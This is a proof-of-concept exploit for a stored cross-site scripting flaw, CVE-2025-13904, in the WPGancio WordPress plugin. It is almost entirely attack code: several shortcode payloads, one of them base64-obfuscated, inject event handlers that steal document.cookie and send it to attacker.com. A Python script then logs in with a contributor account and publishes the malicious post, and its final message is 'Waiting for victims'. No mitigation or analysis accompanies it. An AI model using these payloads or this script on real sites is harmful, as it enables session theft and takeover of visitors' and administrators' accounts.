CVE-2025-13904 WPGancio WordPress插件存储型XSS漏洞

<!-- WordPress Shortcode Stored XSS PoC for CVE-2025-13904 --> <!-- Attack requires Contributor-level or higher WordPress account --> <!-- Basic XSS Payload in gancio-event shortcode --> [gancio-event id='1" onmouseover="alert(document.cookie)" x="'] <!-- More obfuscated payload to bypass basic filters --> [gancio-event slug='test' style='x:expression(eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ==")))'] <!-- img onerror-based payload --> [gancio-event url='https://example.com/event/1' title='Test" onerror="fetch("https://attacker.com/steal?c="+document.cookie)" x="'] <!-- JavaScript event handler injection --> [gancio-event id='1' onclick='fetch("https://attacker.com/?data="+btoa(document.cookie))'] <!-- Automated exploitation script (Python) --> import requests target_url = "http://target-wordpress-site.com" login_url = f"{target_url}/wp-login.php" post_url = f"{target_url}/wp-admin/post.php" session = requests.Session() # Login with contributor account login_data = { "log": "attacker_username", "pwd": "attacker_password", "wp-submit": "Log In" } session.post(login_url, data=login_data) # Create post with malicious shortcode post_data = { "post_title": "Malicious Event Page", "post_content": "[gancio-event id='1\" onmouseover=\"fetch(\"https://attacker.com/steal?c=\"+document.cookie)\" x=\"']", "post_status": "publish", "action": "editpost" } response = session.post(post_url, data=post_data) print("Exploit sent. Waiting for victims...")